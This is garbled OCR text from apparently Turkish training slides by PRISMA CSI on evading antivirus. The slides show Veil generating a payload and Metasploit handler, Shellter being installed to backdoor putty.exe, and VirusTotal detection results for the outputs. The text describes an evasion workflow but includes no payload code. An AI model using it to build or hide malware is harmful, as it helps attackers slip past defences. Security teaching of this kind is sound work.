Source code written to: /var/lib/veil/output/source/prisma.c

Metasploit Resource file written to: /var/lib/veil/output/handlers/prisma.r

C

Hit enter to continue...

Il
v P R | S M A © All Rights Reserved.
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v Virustotal Taramasi

VirusTotal - Mozilla Firefox e @0
2] VirusTotal x |+

€ ©a | htpsy/

/w.virustotal.com/#/flle/8ce 1 748t

08¢ 2daaea9b9e 2f6024172340def7eb0a5aba9

3d90053a/detection ¢ || Q Search wBE ¥ @
[57 Most Visitedv  Jf|Offensive Security "\ Kali Linux "\ Kali Docs "\ Kali Tools = Exploit-DB Wy Aircrack-ng gfKali Forums “\ NetHunter "\ Kali Training @ Getting Started

P —— Q

Signin

o 38 engines detected this file °
o SHA-256 8ce174858f95408c2daaeadb9e2f60241f2340def7eb0a5aba954d4f3d90053a
File name prisma.exe
Flle size 357.75KB
7 N\ Last analvsis w - 5 o
( 38 / 67 Y,I Last analysl 2018-06-30 00:27:29 UTC
Detection Details Community
Ad-Aware A Genvariant Babar637 AegisLab A Troiw32Genmfqe
AlYac A GenVariant.Babar.637 Arcabit A Trojan.Babar.637
Avira A TR/ATRAPS.Gen7 Baidu A Win32.Trojan.WisdomEyes. 16070401
BitDefender A\ GenvariantBabar637 Bkav A W32eHeurMaiwareos
ClamAvV A Wwin.Malware.)aik-6591471-0 CrowdStrike Falcon A malicious_confidence_100% (D)
Cybereason A malicious.6f74c4 Cylance A Unsafe
Cyren A W32/5-d02c8687!Eldorado Emsisoft A Gen:Variant.Babar.637 (B)

We use cookies and related technologies to remember user prefere , f our traffic, and to enable bsite functionality. Learn more about cookies in our Privacy Policy. n

\d Firefox automatically sends some data to Mozilla so that we can improve your experience. Choose What | Share | x

PRISMA
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@ Shellter Kurulum

root@PRISMACSI: ~

File Edit View Search Terminal Help
:~# apt-get install shellter]j

© All Rights Reserved.
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v Shellter Kullanimi — DEMO

Shell7er e O

Choose Operation Mode - Auto/Manual {A/M/H

v P R | S M /\ © All Rights Reserved.
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v Virustotal Taramasi

2] VirusTotal x|+
€  © @ | https://www.virustotal.com/#/file/6fd3ee66f6b37

809f6130c67b6d

VirusTotal - Mozilla Firefox

1b191b713578bf/d

Q Search

[ Most Visitedv  [fllOffensive Security "\ Kali Linux “§ Kali Docs “§ Kali Tools ® Exploit-DB Wy Aircrack-ng glKali Forums “§ NetHunter "\ Kali Training @ Getting Started

(32/65)

Detection Details
Ad-Aware
AlYac
Avast
Avira
Baidu
CrowdStrike Falcon
Emsisoft
eScan

We use cookies

https://kall.training

nd related technologie

PRISMA

CYBER SECURITY ANDO INTELLIGENCE

Last analysis

32 engines detected this file

6fd3ee66f6b37e809f6130c67b6d363755860668b156b8ae739b191b713579bf

putty.exe
7485 KB
2018-06-30 01:02:53 UTC

Community

o

2

GenVariant.Razy.225726

GenVariant.Razy.225726

Win32:Evo-gen [Susp]

HEUR/AGEN.1000844

Win32 Trojan.WisdomEyes. 16070401

malicious_confidence_90% (D)

Gen:Variant.Razy.225726 (B)

GenVariant.Razy.225726

Www.prismacsi.com
© All Rights Reserved.

AhnLab-v3

Arcabit

AVG

Babable

BitDefender

Cyren

Endgame

ESET-NOD32

remember user preferences, for security, to analyse our traffic, and to enable websi

2 2

e functionality. Learn more about cook

Trojan/Win32.Swort.C2293532

Trojan.Razy.D371BE

Win32:Evo-gen [Susp]

Malware HighConfidence

GenVariant.Razy.225726

W32/5-65979143Eldorado

malicious (high confidence)

a variant of Win32/Rozena.VU.gen

in our Privacy Policy. “
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Sorular?
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